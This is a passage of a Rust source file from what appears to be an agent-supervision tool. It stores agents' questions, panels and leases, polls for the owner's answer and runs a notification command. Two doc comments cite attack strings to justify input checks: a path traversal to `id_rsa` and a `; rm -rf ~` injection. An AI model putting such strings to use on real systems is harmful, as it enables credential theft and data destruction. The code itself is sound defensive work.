890 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
891 src.display()
892 );
893 }
894 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
895 bail!(
896 "two panel assets are both named `{name}` - {} and {} - and \
897 the panel can only show one of them; rename one at the source",
898 first.display(),
899 src.display()
900 );
901 }
902 named.push((name.to_owned(), src.as_path()));
903 }
904
905 let mut total = html.len() as u64;
906 for (_, src) in &named {
907 let meta = std::fs::metadata(src)
908 .with_context(|| format!("stat panel asset {}", src.display()))?;
909 if !meta.is_file() {
910 bail!(
911 "panel asset `{}` is not a file; a panel is html plus files \
912 copied beside it",
913 src.display()
914 );
915 }
916 total = total.saturating_add(meta.len());
917 }
918 if total > PANEL_MAX_BYTES {
919 bail!(
920 "panel for question {} is {total} bytes, over magi's cap of \
921 {PANEL_MAX_BYTES} bytes; nothing was written",
922 q.short()
923 );
924 }
925
926 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
927 let dir = self.panel_dir(&q.id);
928 std::fs::create_dir_all(&self.root)
929 .with_context(|| format!("create {}", self.root.display()))?;
930 clear_dir(&tmp)?;
931 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
932 if let Err(e) = fill_panel(&tmp, html, &named) {
933 // A copy that dies halfway must not become the panel, and must not
934 // leave scratch behind for the next call to inherit.
935 let _ = std::fs::remove_dir_all(&tmp);
936 return Err(e);
937 }
938 clear_dir(&dir)?;
939 std::fs::rename(&tmp, &dir)
940 .with_context(|| format!("move panel into {}", dir.display()))?;
941
942 q.panel = true;
943 q.assets = named.into_iter().map(|(n, _)| n).collect();
944 q.assets.sort_unstable();
945 Ok(())
946 }
947
948 /// The panel's html, or `None` when the question has no panel.
949 ///
950 /// `None` rather than an error for a missing panel because the caller is a
951 /// web handler whose answer is 404 either way, and an unreadable panel is
952 /// not a reason to fail the question it belongs to.
953 pub fn panel_html(&self, id: &str) -> Option<String> {
954 if !valid_asset_name(id) {
955 return None;
956 }
957 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
958 }
959
960 /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
961 /// not a name a panel file can have".
962 ///
963 /// Rejects a name failing [`valid_asset_name`] **before touching the
964 /// filesystem**, which is the whole point of the second check: the name
965 /// arrives from a URL, the directory is on disk where any process could
966 /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
967 /// operating system would resolve perfectly happily. The two callers'
968 /// distinct outcomes - 400 for a name, 404 for a file - are why this is
969 /// `Result<Option<_>>` rather than one flattened `Option`.
970 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
971 if !valid_asset_name(name) {
972 bail!(
973 "`{name}` is not a panel file name; it must match \
974 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
975 );
976 }
977 if !valid_asset_name(id) {
978 return Ok(None);
979 }
980 let dir = self.panel_dir(id);
981 if !dir.is_dir() {
982 return Ok(None);
983 }
984 let path = dir.join(name);
985 match std::fs::read(&path) {
986 Ok(bytes) => Ok(Some(bytes)),
987 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
988 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
989 }
990 }
991
992 /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
993 ///
994 /// Succeeds when there is nothing to delete, so a caller cleaning up does
995 /// not have to know whether a panel was ever written. The question record
996 /// is not touched: the caller clears `panel` and `assets` and `put`s it,
997 /// in the same order as everywhere else here.
998 ///
999 /// [`put_panel`]: Questions::put_panel
1000 pub fn drop_panel(&self, id: &str) -> Result<()> {
1001 if !valid_asset_name(id) {
1002 bail!("question id `{id}` is not a name magi will build a panel path from");
1003 }
1004 clear_dir(&self.panel_dir(id))?;
1005 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1006 }
1007
1008 /// Path of the lease sidecar for one question id.
1009 pub fn lease_path(&self, id: &str) -> PathBuf {
1010 self.root.join(format!("{id}.lease"))
1011 }
1012
1013 /// The lease on a question, if a readable one exists.
1014 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1015 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1016 serde_json::from_str(&body).ok()
1017 }
1018
1019 /// Say, as `kind`, that something is alive and waiting on this question.
1020 ///
1021 /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1022 /// a reason to abandon a wait - the worst it costs is the waiter deciding
1023 /// the holder is gone a little early, and that is what the delivery guard
1024 /// (the seat still being busy) is there for.
1025 pub fn beat(&self, id: &str, kind: WaiterKind) {
1026 let lease = Lease {
1027 kind,
1028 pid: std::process::id(),
1029 beat_at: Timestamp::now(),
1030 };
1031 let path = self.lease_path(id);
1032 let tmp = path.with_extension("lease.tmp");
1033 let written = std::fs::create_dir_all(&self.root)
1034 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1035 .and_then(|()| std::fs::rename(&tmp, &path));
1036 if let Err(e) = written {
1037 tracing::debug!("could not beat the lease on question {id}: {e}");
1038 }
1039 }
1040
1041 /// Remove the lease sidecar. Absent is fine.
1042 pub fn drop_lease(&self, id: &str) {
1043 let _ = std::fs::remove_file(self.lease_path(id));
1044 }
1045
1046 /// Read-modify-write one question under a short exclusive lock, so the
1047 /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1048 /// each other with a copy that predates the others.
1049 ///
1050 /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1051 /// a torn file and does nothing for two writers that both read the same
1052 /// version first. Everything that changes a question that can still be
1053 /// answered goes through here: `f` sees the current record, not one loaded
1054 /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1055 /// mid-update and is broken.
1056 pub fn update<T>(
1057 &self,
1058 id: &str,
1059 f: impl FnOnce(&mut Question) -> Result<T>,
1060 ) -> Result<(Question, T)> {
1061 std::fs::create_dir_all(&self.root)
1062 .with_context(|| format!("create {}", self.root.display()))?;
1063 let lock = self.root.join(format!("{id}.lock"));
1064 let started = std::time::Instant::now();
1065 loop {
1066 match std::fs::OpenOptions::new()
1067 .write(true)
1068 .create_new(true)
1069 .open(&lock)
1070 {
1071 Ok(_) => break,
1072 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1073 let stale = std::fs::metadata(&lock)
1074 .and_then(|m| m.modified())
1075 .ok()
1076 .and_then(|t| t.elapsed().ok())
1077 .is_some_and(|age| age > LOCK_STALE);
1078 if stale {
1079 let _ = std::fs::remove_file(&lock);
1080 } else if started.elapsed() > LOCK_STALE {
1081 bail!("could not lock question {id}");
1082 } else {
1083 std::thread::sleep(Duration::from_millis(15));
1084 }
1085 }
1086 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1087 }
1088 }
1089 struct Unlock(PathBuf);
1090 impl Drop for Unlock {
1091 fn drop(&mut self) {
1092 let _ = std::fs::remove_file(&self.0);
1093 }
1094 }
1095 let _guard = Unlock(lock);
1096 let mut q = read_path(&self.path_of(id))?;
1097 let out = f(&mut q)?;
1098 self.put(&mut q)?;
1099 Ok((q, out))
1100 }
1101
1102 /// Write a question, atomically, so a process killed mid-write leaves the
1103 /// previous state readable rather than a truncated file that would strand
1104 /// the run waiting on it.
1105 pub fn put(&self, q: &mut Question) -> Result<()> {
1106 std::fs::create_dir_all(&self.root)
1107 .with_context(|| format!("create {}", self.root.display()))?;
1108 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1109 let path = self.path_of(&q.id);
1110 let tmp = path.with_extension("json.tmp");
1111 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1112 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1113 Ok(())
1114 }
1115
1116 /// Load a question by id or unambiguous id prefix.
1117 pub fn get(&self, id: &str) -> Result<Question> {
1118 let resolved = self.resolve_id(id)?;
1119 read_path(&self.path_of(&resolved))
1120 }
1121
1122 /// Every question on disk: open first, then newest first.
1123 ///
1124 /// Open first because that ordering is the product - the list exists to
1125 /// show the operator what has stopped, and an answered question is history
1126 /// underneath it. Unreadable files are skipped rather than fatal: one
1127 /// corrupt question must not take the web UI down, and must certainly not
1128 /// hide the open question the operator was looking for.
1129 pub fn list(&self) -> Vec<Question> {
1130 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1131 .into_iter()
1132 .flatten()
1133 .flatten()
1134 .map(|e| e.path())
1135 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1136 .filter_map(|p| read_path(&p).ok())
1137 .collect();
1138 all.sort_unstable_by(|a, b| {
1139 let rank = |q: &Question| u8::from(!q.status.open());
1140 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1141 });
1142 all
1143 }
1144
1145 /// Open questions belonging to one run, newest first.
1146 ///
1147 /// Used to decide whether a parked run can be resumed: while this is
1148 /// non-empty, nothing about the run has changed and no agent should be
1149 /// spawned for it.
1150 pub fn open_for(&self, run: &str) -> Vec<Question> {
1151 self.list()
1152 .into_iter()
1153 .filter(|q| q.status.open() && q.run == run)
1154 .collect()
1155 }
1156
1157 /// Abandon every open question belonging to a run, and report how many.
1158 ///
1159 /// Called when a run's record is deleted. The agent that asked died with
1160 /// the run, so there is nobody left to hand an answer to, and a question
1161 /// left open would keep asking the operator for a decision that can no
1162 /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1163 /// イルが見つかりません" with two buttons, for a run whose directory had
1164 /// been gone for two hours.
1165 ///
1166 /// Abandoned rather than deleted, because [`Question::abandon`] already
1167 /// means "this can no longer be answered" and the record of having asked
1168 /// is worth keeping. Answered questions are left exactly as they are.
1169 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1170 let mut abandoned = 0;
1171 for mut q in self.open_for(run) {
1172 q.abandon(why);
1173 self.put(&mut q)?;
1174 abandoned += 1;
1175 }
1176 Ok(abandoned)
1177 }
1178
1179 /// Abandon a run's open questions once `status` says the run is not
1180 /// coming back, worded with what it actually became.
1181 ///
1182 /// The run-deleted case above and this one are the same fact - nobody is
1183 /// left to read an answer - reached by two different doors. This is the
1184 /// one for a run that finished on its own: merged, reached `Ready` with
1185 /// nothing left to do, failed outright with no established point to
1186 /// resume from, or every candidate agreed, with evidence, that nothing
1187 /// belonged in the worktree. Those are exactly the statuses
1188 /// [`RunStatus::resumable`]
1189 /// excludes, and that is the line this draws too - deliberately not
1190 /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1191 /// over. Both of those can still be picked back up with the candidates,
1192 /// the review round and the seat sessions already on disk, so a question
1193 /// asked mid-round may yet get a real answer from a real resume, and
1194 /// folding it here would be exactly the mistake this function exists to
1195 /// avoid on the other side - answering back into a run that no longer
1196 /// exists to read it.
1197 ///
1198 /// A no-op, not an error, when `status` is still resumable or when there
1199 /// was nothing open to begin with - callers reach this from more than one
1200 /// place a run can settle, and a second call finding nothing left to
1201 /// abandon is the expected case, not a bug.
1202 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1203 if status.resumable() {
1204 return Ok(0);
1205 }
1206 let why = format!(
1207 "run {run} {}, so nothing is waiting for this answer",
1208 status.as_str()
1209 );
1210 // A post-merge notice is the exception: it is filed *because* the run
1211 // merged, and no agent waits on it - it is a to-do for the owner, not
1212 // a question a dead seat asked. Abandoning it here would erase the
1213 // only alert the moment the run settles.
1214 let mut abandoned = 0;
1215 for mut q in self.open_for(run) {
1216 if q.node == crate::bump::NOTICE_NODE {
1217 continue;
1218 }
1219 q.abandon(&why);
1220 self.put(&mut q)?;
1221 abandoned += 1;
1222 }
1223 Ok(abandoned)
1224 }
1225
1226 /// Expand an id prefix to exactly one question id. The short id the phone
1227 /// and the reports show is a suffix, so that is accepted too.
1228 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1229 if self.path_of(prefix).is_file() {
1230 return Ok(prefix.to_owned());
1231 }
1232 let hits: Vec<String> = self
1233 .list()
1234 .into_iter()
1235 .map(|q| q.id)
1236 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1237 .collect();
1238 match hits.len() {
1239 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1240 0 => bail!("no question matches `{prefix}`"),
1241 _ => bail!(
1242 "`{prefix}` matches {} questions: {}",
1243 hits.len(),
1244 hits.join(", ")
1245 ),
1246 }
1247 }
1248
1249 /// Newest modification time in the store, in milliseconds, for change
1250 /// detection. The web UI compares this instead of re-reading every
1251 /// question, so an idle phone on a slow link costs one `stat` per file.
1252 pub fn revision(&self) -> u64 {
1253 std::fs::read_dir(&self.root)
1254 .into_iter()
1255 .flatten()
1256 .flatten()
1257 .filter_map(|e| e.metadata().ok())
1258 .filter_map(|m| m.modified().ok())
1259 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1260 .map(|d| d.as_millis() as u64)
1261 .max()
1262 .unwrap_or(0)
1263 }
1264
1265 /// How many questions are open, whichever side of the conversation is
1266 /// holding the ball right now. Ten turns of back and forth between the
1267 /// owner and the agent are still one open question - see
1268 /// [`Question::say`] - so this does not drop while a reply is in
1269 /// flight. [`Self::count_needs_owner`] is the number that does.
1270 pub fn count_open(&self) -> usize {
1271 self.list().iter().filter(|q| q.status.open()).count()
1272 }
1273
1274 /// How many open questions actually need the owner right now: open, and
1275 /// not [`Question::waiting_on_agent`].
1276 ///
1277 /// This is the number a notification channel owes - the ask bar, the nav
1278 /// badge, the document title - because those exist to say "something
1279 /// needs you", and a question sitting in `magi ask --thread` limbo does
1280 /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1281 /// where a round trip must not look like the run resumed.
1282 pub fn count_needs_owner(&self) -> usize {
1283 self.list()
1284 .iter()
1285 .filter(|q| q.status.open() && !q.waiting_on_agent())
1286 .count()
1287 }
1288}
1289
1290/// How a wait over [`Question`] ended.
1291#[derive(Debug, Clone, PartialEq, Eq)]
1292pub enum Wait {
1293 /// The owner decided. Carries [`Question::resolution`].
1294 Answered(String),
1295 /// The owner spoke back without deciding - see [`Question::say`]. The
1296 /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1297 /// the caller's move is to hand this text to the agent and let it call
1298 /// `magi ask --thread` to keep talking, not to treat it as a decision.
1299 Replied(String),
1300 /// This call's [`WAIT_SLICE`] ran out with the question still
1301 /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1302 /// going quiet, the clock on *this process* running out. The question is
1303 /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1304 /// process, so the wait resumes before the shell tool that would have
1305 /// killed this one gets the chance.
1306 Pending,
1307 /// Nobody said anything before the deadline, or the question was closed
1308 /// out from under the wait with no decision recorded - a run deleted out
1309 /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1310 /// now on disk.
1311 Abandoned,
1312}
1313
1314/// File a question and wait for the owner, polling the store.
1315///
1316/// The question is updated in place from disk whenever the wait ends, so the
1317/// caller can act on it without re-reading it. `timeout` is the question's
1318/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1319/// of it - see [`Wait::Pending`] for what happens to the rest.
1320pub async fn ask_and_wait(
1321 q: &mut Question,
1322 store: &Questions,
1323 notify: &config::Notify,
1324 timeout: Duration,
1325) -> Result<Wait> {
1326 wait_for_owner(q, store, notify, timeout, POLL).await
1327}
1328
1329/// Resume a wait already filed, without adding a turn or notifying again.
1330///
1331/// This is `magi ask --wait <id>`'s engine: the process that owned the
1332/// previous slice is dead (the tool that ran it killed it, or it simply
1333/// exited after reporting [`Wait::Pending`]), but the question on disk never
1334/// stopped being open, and the owner was already notified about it once. A
1335/// second notification for the same unanswered question would page the
1336/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1337/// unlike [`ask_and_wait`], this skips straight to polling.
1338///
1339/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1340/// caller computes it as what remains until [`Question::asked_at`] plus the
1341/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1342/// up the deadline the first ask set, never push it out further.
1343pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1344 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1345}
1346
1347/// [`ask_and_wait`] with the poll interval injected.
1348///
1349/// Separate only so the tests can drive a whole wait in milliseconds instead of
1350/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1351/// a knob the operator gets to tune.
1352async fn wait_for_owner(
1353 q: &mut Question,
1354 store: &Questions,
1355 cfg: &config::Notify,
1356 timeout: Duration,
1357 poll: Duration,
1358) -> Result<Wait> {
1359 // A question that is already on disk (a `--thread` reply just wrote it under
1360 // the lock) is left alone: this copy may predate an answer or say that
1361 // landed since, and writing it back would erase that.
1362 if !store.path_of(&q.id).is_file() {
1363 store.put(q).context("file the question")?;
1364 }
1365 if q.should_notify(Timestamp::now()) {
1366 if let Err(e) = notify(cfg, q).await {
1367 // A broken webhook is not a reason to throw away an implementation.
1368 // The question is already on disk and the web UI already shows it,
1369 // so the operator still has a way in; only the tap on the shoulder
1370 // is lost.
1371 tracing::warn!(
1372 "could not notify about question {}: {e:#} - the web UI is the \
1373 only surface for it now",
1374 q.short()
1375 );
1376 }
1377 }
1378 tracing::info!(
1379 "question {} from {} is waiting for you: {}",
1380 q.short(),
1381 q.seat,
1382 q.summary
1383 );
1384 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1385}
1386
1387/// Take the wait as this process: beat the lease and note it on the record.
1388fn hold(store: &Questions, id: &str) {
1389 store.beat(id, WaiterKind::Asker);
1390 let took = store.update(id, |q| {
1391 if q.status.open() {
1392 q.waiter = Some(Waiter {
1393 kind: WaiterKind::Asker,
1394 since: Timestamp::now(),
1395 });
1396 }
1397 Ok(())
1398 });
1399 if let Err(e) = took {
1400 tracing::debug!("could not note the wait on question {id}: {e:#}");
1401 }
1402}
1403
1404/// Record that the agent has read everything so far, so the daemon waiter does
1405/// not resume a session to tell it what was already printed.
1406///
1407/// Callers must invoke this only **after** the word reached the agent's stdout:
1408/// marking first would let a tool timeout kill the process between the mark
1409/// and the print, and the waiter would then consider a word delivered that no
1410/// agent ever saw.
1411pub fn hand_over(store: &Questions, q: &mut Question) {
1412 let done = store.update(&q.id, |r| {
1413 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1414 if r.status == QuestionStatus::Answered {
1415 r.answer_delivered = true;
1416 }
1417 r.waiter = None;
1418 Ok(())
1419 });
1420 match done {
1421 Ok((fresh, ())) => *q = fresh,
1422 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1423 }
1424}
1425
1426/// The polling loop shared by a fresh wait and a resumed one.
1427///
1428/// `timeout` is the budget left before the question's `answer_timeout`
1429/// truly runs out; `slice` bounds how much of that this one call spends
1430/// before handing control back. Landing on `slice` while `timeout` still has
1431/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1432/// silence. Landing on `timeout` itself - because it was no bigger than
1433/// `slice` to begin with - is the real thing, and abandons the question
1434/// exactly as a single unsliced wait always did.
1435async fn wait_loop(
1436 q: &mut Question,
1437 store: &Questions,
1438 timeout: Duration,
1439 slice: Duration,
1440 poll: Duration,
1441) -> Result<Wait> {
1442 // The owner may already have spoken back before this call ever started -
1443 // most often because they did so in the gap between an earlier call
1444 // reporting `Wait::Pending` and this one picking the wait back up with
1445 // `--wait`. That word must surface at once rather than sit unnoticed
1446 // until some *later* turn happens to change something: this call never
1447 // saw it get added, so nothing below would otherwise recognise it as
1448 // new. `last_word_awaiting_reply` reads the question's own record of
1449 // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1450 // turn count this call would have to have been there to capture.
1451 if let Some(said) = q.unread_from_owner() {
1452 return Ok(Wait::Replied(said));
1453 }
1454 hold(store, &q.id);
1455
1456 let bounded = timeout.min(slice);
1457 let is_the_real_deadline = bounded >= timeout;
1458 let deadline = tokio::time::Instant::now() + bounded;
1459 loop {
1460 let now = tokio::time::Instant::now();
1461 if now >= deadline {
1462 if !is_the_real_deadline {
1463 // The lease is left to age out on purpose: the caller is about
1464 // to run `magi ask --wait`, and that gap is what LEASE_TTL
1465 // covers.
1466 return Ok(Wait::Pending);
1467 }
1468 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1469 // Re-checked on the record as it is now: the owner may have said
1470 // something in time since the last poll, and that word is handed
1471 // over, not abandoned.
1472 let (fresh, unread) = store
1473 .update(&q.id, |r| {
1474 let unread = r.unread_from_owner();
1475 if unread.is_none() {
1476 r.abandon(&why);
1477 r.waiter = None;
1478 }
1479 Ok(unread)
1480 })
1481 .context("record the abandoned question")?;
1482 *q = fresh;
1483 if let Some(said) = unread {
1484 return Ok(Wait::Replied(said));
1485 }
1486 tracing::warn!(
1487 "question {} went unanswered for {}s; the run parks and the \
1488 question stays as the record of it",
1489 q.short(),
1490 timeout.as_secs()
1491 );
1492 return Ok(Wait::Abandoned);
1493 }
1494 tokio::time::sleep(poll.min(deadline - now)).await;
1495 store.beat(&q.id, WaiterKind::Asker);
1496 match store.get(&q.id) {
1497 Ok(fresh) if !fresh.status.open() => {
1498 // Whoever answered - the phone, `magi answer`, another daemon -
1499 // owns the record now, so adopt theirs wholesale rather than
1500 // merging into a copy that predates it.
1501 *q = fresh;
1502 return Ok(match q.resolution() {
1503 Some(a) => Wait::Answered(a),
1504 // Closed with no decision - abandoned elsewhere, most
1505 // often by the run behind it being deleted mid-wait.
1506 None => Wait::Abandoned,
1507 });
1508 }
1509 Ok(fresh) => {
1510 if let Some(said) = fresh.unread_from_owner() {
1511 *q = fresh;
1512 return Ok(Wait::Replied(said));
1513 }
1514 // Still open and not waiting on the agent - nothing this
1515 // wait cares about happened, so keep polling.
1516 }
1517 Err(e) => {
1518 // Mid-rename, or a file the operator is editing by hand.
1519 // Neither is a reason to abandon a question a human may still
1520 // answer, so keep polling until the deadline decides.
1521 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1522 }
1523 }
1524 }
1525}
1526
1527/// Run the operator's notification command, if one is configured.
1528///
1529/// The command is argv, never a shell string, and the substitutions below are a
1530/// single pass over each argument: a summary containing `; rm -rf ~` is one
1531/// argument to one program, and a summary containing the characters `{run}` is
1532/// not re-expanded. That property is the reason agent-authored text can be put
1533/// in a notification at all.
1534///
1535/// An error here is reported, not swallowed, so `magi notify --test` can show
1536/// the operator why nothing arrives. The waiting path logs it and carries on.
1537pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1538 notify_text(cmd, &q.run, &q.summary).await
1539}
1540
1541/// [`notify`] for an event that is not a question: the same command, the same
1542/// placeholders, with `summary` and `run` supplied directly.
1543pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1544 let Some((program, args)) = cmd.command.split_first() else {
1545 // No command configured: the web UI is the only surface, by choice.
1546 return Ok(());
1547 };
1548 let url = web_url();
1549 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1550 tracing::warn!(
1551 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1552 so the link will be empty - export it next to `magi serve` with \
1553 the address `magi web --open` printed"
1554 );
1555 }
1556 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1557 tracing::debug!(program = %program, args = ?argv, "notifying");
1558
1559 let mut child = tokio::process::Command::new(program);
1560 child.quiet();
1561 child
1562 .args(&argv)
1563 .stdin(std::process::Stdio::null())
1564 // Killed if the timeout below drops this future: a notification
1565 // command left running would outlive the run it was announcing.
1566 .kill_on_drop(true);
1567 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1568 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1569 Err(_) => bail!(
1570 "notification command `{program}` did not finish within {}s",
1571 NOTIFY_TIMEOUT.as_secs()
1572 ),
1573 };
1574 if !out.status.success() {
1575 let stderr = String::from_utf8_lossy(&out.stderr);
1576 let why = stderr
1577 .lines()
1578 .rev()
1579 .find(|l| !l.trim().is_empty())
1580 .unwrap_or("no output on stderr")
1581 .trim();
1582 bail!(
1583 "notification command `{program}` exited with {}: {why}",
1584 out.status
1585 );
1586 }
1587 Ok(())
1588}
1589
1590/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1591///
1592/// One left-to-right pass, so a substituted value is never scanned for further
1593/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1594/// in a question must not make the notification recursive.
1595fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1596 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1597 let mut out = String::with_capacity(template.len());
1598 let mut rest = template;
1599 while let Some(at) = rest.find('{') {
1600 out.push_str(&rest[..at]);
1601 let tail = &rest[at..];
1602 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1603 Some((token, value)) => {
1604 out.push_str(value);
1605 rest = &tail[token.len()..];
1606 }
1607 None => {
1608 // Not a placeholder magi knows: it is the operator's own text.
1609 out.push('{');
1610 rest = &tail[1..];
1611 }
1612 }
1613 }
1614 out.push_str(rest);
1615 out
1616}
1617
1618/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1619fn web_url() -> String {
1620 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1621}
1622
1623/// Point a configured base URL at the view that can answer the question.
1624///
1625/// A notification the operator has to navigate from is a question that stays
1626/// unanswered until morning, so the questions view is appended - unless the
1627/// operator already wrote a fragment, in which case they have said where they
1628/// want to land and magi does not know better.
1629fn question_url(base: &str) -> String {
1630 let base = base.trim().trim_end_matches('/');
1631 if base.is_empty() || base.contains('#') {
1632 return base.to_owned();
1633 }
1634 format!("{base}/#/questions")
1635}
1636
1637/// Assemble a panel's contents in an already-empty directory.
1638///
1639/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1640/// first error without an early `return` skipping that cleanup.
1641fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1642 let index = dir.join(PANEL_HTML);
1643 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1644 for (name, src) in assets {
1645 let dst = dir.join(name);
1646 std::fs::copy(src, &dst)
1647 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1648 }
1649 Ok(())
1650}
1651
1652/// Remove a directory and everything under it, treating "not there" as done.
1653///
1654/// A panel is replaced wholesale and dropped idempotently, and in both cases
1655/// the absence of the directory is the desired end state, not an error.
1656fn clear_dir(path: &Path) -> Result<()> {
1657 match std::fs::remove_dir_all(path) {
1658 Ok(()) => Ok(()),
1659 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1660 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1661 }
1662}
1663
1664fn read_path(path: &Path) -> Result<Question> {
1665 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1666 let q: Question =
1667 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1668 if q.schema > SCHEMA {
1669 // Strictly newer, not merely different: every field added since
1670 // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1671 // here as "no thread yet" rather than as garbage. Only a schema this
1672 // build has never heard of is refused.
1673 bail!(
1674 "question {} was written by a newer magi (schema {}, this build \
1675 only speaks up to {SCHEMA})",
1676 q.id,
1677 q.schema
1678 );
1679 }
1680 Ok(q)
1681}
1682
1683/// [`short`] for callers outside this module (a run id shortens the same way).
1684pub fn short_id(id: &str) -> &str {
1685 short(id)
1686}
1687
1688fn short(id: &str) -> &str {
1689 id.split('-').next_back().unwrap_or(id)
1690}
1691
1692fn new_id() -> String {
1693 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1694 let seed = crate::rng::entropy();
1695 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1696}
1697
1698#[cfg(test)]
1699mod tests {
1700 use super::*;
1701
1702 /// A store of its own, with no process-global state - which is the point of
1703 /// `Questions::at`, and why these can run in parallel.
1704 fn store() -> (tempfile::TempDir, Questions) {
1705 let dir = tempfile::tempdir().unwrap();
1706 let s = Questions::at(dir.path().join("questions"));
1707 (dir, s)
1708 }
1709
1710 #[test]
1711 fn deleting_a_run_stops_its_questions_asking() {
1712 let (_dir, store) = store();
1713
1714 let mut open_one = choice_question();
1715 store.put(&mut open_one).unwrap();
1716 let mut answered = free_question();
1717 answered
1718 .answer(Answer::Text("keep this".to_owned()))
1719 .unwrap();
1720 store.put(&mut answered).unwrap();
1721 let mut elsewhere = choice_question();
1722 elsewhere.run = "20260903-105039-3cbf".to_owned();
1723 store.put(&mut elsewhere).unwrap();
1724
1725 let n = store
1726 .abandon_for_run(&open_one.run, "run was deleted")
1727 .unwrap();
1728 assert_eq!(n, 1, "only the open question of that run");
1729
1730 let back = store.get(&open_one.id).unwrap();
1731 assert!(!back.status.open(), "it no longer asks for a decision");
1732 assert!(
1733 back.detail.contains("run was deleted"),
1734 "the operator can see why: {}",
1735 back.detail
1736 );
1737
1738 let kept = store.get(&answered.id).unwrap();
1739 assert_eq!(
1740 kept.status,
1741 QuestionStatus::Answered,
1742 "an answered question is a decision on record, not something to revoke"
1743 );
1744 assert!(
1745 store.get(&elsewhere.id).unwrap().status.open(),
1746 "another run's question is untouched"
1747 );
1748 assert!(store.open_for(&open_one.run).is_empty());
1749 }
1750
1751 #[test]
1752 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1753 let (_dir, store) = store();
1754 let mut q = choice_question();
1755 store.put(&mut q).unwrap();
1756
1757 // `Blocked` can still be resumed - leave it exactly as it was.
1758 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1759 assert_eq!(n, 0);
1760 assert!(store.get(&q.id).unwrap().status.open());
1761
1762 // `Failed` is not - abandon it, with the run and its fate in the
1763 // reason so the owner can tell what happened without a run to read.
